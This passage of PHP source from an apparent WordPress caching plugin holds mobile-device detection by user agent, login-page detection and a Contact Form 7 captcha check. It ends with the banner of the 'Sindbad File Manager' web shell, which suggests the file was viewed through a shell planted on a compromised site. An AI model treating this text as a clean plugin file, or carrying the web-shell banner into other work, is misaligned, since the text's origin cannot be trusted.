if(isset($_SERVER['HTTP_CLOUDFRONT_IS_MOBILE_VIEWER']) && "true" === $_SERVER['HTTP_CLOUDFRONT_IS_MOBILE_VIEWER']){
$is_mobile = true;
}
if(isset($_SERVER['HTTP_CLOUDFRONT_IS_TABLET_VIEWER']) && "true" === $_SERVER['HTTP_CLOUDFRONT_IS_TABLET_VIEWER']){
$is_mobile = true;
}
}
public function isWpLogin($buffer){
// if(preg_match("/<form[^\>]+loginform[^\>]+>((?:(?!<\/form).)+)user_login((?:(?!<\/form).)+)user_pass((?:(?!<\/form).)+)<\/form>/si", $buffer)){
// return true;
// }
if($GLOBALS["pagenow"] == "wp-login.php"){
return true;
}
return false;
}
public function hasContactForm7WithCaptcha($buffer){
if(is_single() || is_page()){
if(preg_match("/<input[^\>]+_wpcf7_captcha[^\>]+>/i", $buffer)){
return true;
}
}
return false;
}
public function is_wptouch_smartphone(){
// https://plugins.svn.wordpress.org/wptouch/tags/4.0.4/core/mobile-user-agents.php
// wptouch: ipad is accepted as a desktop so no need to create cache if user agent is ipad
// https://wordpress.org/support/topic/plugin-wptouch-wptouch-wont-display-mobile-version-on-ipad?replies=12
if(preg_match("/ipad/i", $_SERVER['HTTP_USER_AGENT'])){
return false;
}
$wptouch_smartphone_list = array();
$wptouch_smartphone_list[] = array( 'iPhone' ); // iPhone
$wptouch_smartphone_list[] = array( 'Android', 'Mobile' ); // Android devices
$wptouch_smartphone_list[] = array( 'BB', 'Mobile Safari' ); // BB10 devices
$wptouch_smartphone_list[] = array( 'BlackBerry', 'Mobile Safari' ); // BB 6, 7 devices
$wptouch_smartphone_list[] = array( 'Firefox', 'Mobile' ); // Firefox OS devices
$wptouch_smartphone_list[] = array( 'IEMobile/11', 'Touch' ); // Windows IE 11 touch devices
$wptouch_smartphone_list[] = array( 'IEMobile/10', 'Touch' ); // Windows IE 10 touch devices
$wptouch_smartphone_list[] = array( 'IEMobile/9.0' ); // Windows Phone OS 9
$wptouch_smartphone_list[] = array( 'IEMobile/8.0' ); // Windows Phone OS 8
$wptouch_smartphone_list[] = array( 'IEMobile/7.0' ); // Windows Phone OS 7
$wptouch_smartphone_list[] = array( 'OPiOS', 'Mobile' ); // Opera Mini iOS
$wptouch_smartphone_list[] = array( 'Coast', 'Mobile' ); // Opera Coast iOS
foreach ($wptouch_smartphone_list as $key => $value) {
if(isset($value[0]) && isset($value[1])){
if(preg_match("/".preg_quote($value[0], "/")."/i", $_SERVER['HTTP_USER_AGENT'])){
if(preg_match("/".preg_quote($value[1], "/")."/i", $_SERVER['HTTP_USER_AGENT'])){
return true;
}
}
}else if(isset($value[0])){
if(preg_match("/".preg_quote($value[0], "/")."/i", $_SERVER['HTTP_USER_AGENT'])){
return true;
}
}
}
return false;
}
public function is_anymobilethemeswitcher_mobile(){
// https://plugins.svn.wordpress.org/any-mobile-theme-switcher/tags/1.9/any-mobile-theme-switcher.php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
switch(true){
case (preg_match('/ipad/i',$user_agent));
return true;
break;
case (preg_match('/ipod/i',$user_agent)||preg_match('/iphone/i',$user_agent));
return true;
break;
case (preg_match('/android/i',$user_agent) && preg_match('/mobile/i',$user_agent));
return true;
break;
case (preg_match('/opera mini/i',$user_agent));
return true;
break;
case (preg_match('/blackberry/i',$user_agent));
return true;
break;
case (preg_match('/(pre\/|palm os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine)/i',$user_agent));
return true;
break;
case (preg_match('/(iris|3g_t|windows ce|opera mobi|windows ce; smartphone;|windows ce; iemobile)/i',$user_agent));
return true;
break;
case (preg_match('/(mini 9.5|vx1000|lge |m800|e860|u940|ux840|compal|wireless| mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew |d88|htc\/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u\/|me702|8325rc|kddi|phone|lg |sonyericsson|samsung|240x|x320|vx10|nokia|sony cmd|motorola|up.browser|up.link|mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|kindle|mobile|psp|treo)/i',$user_agent));
return true;
break;
}
return false;
}
}
?>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists